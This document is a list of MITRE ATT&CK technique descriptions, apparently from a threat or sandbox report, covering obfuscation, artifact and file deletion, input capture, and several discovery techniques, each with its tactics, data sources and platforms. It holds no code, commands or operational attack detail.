Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre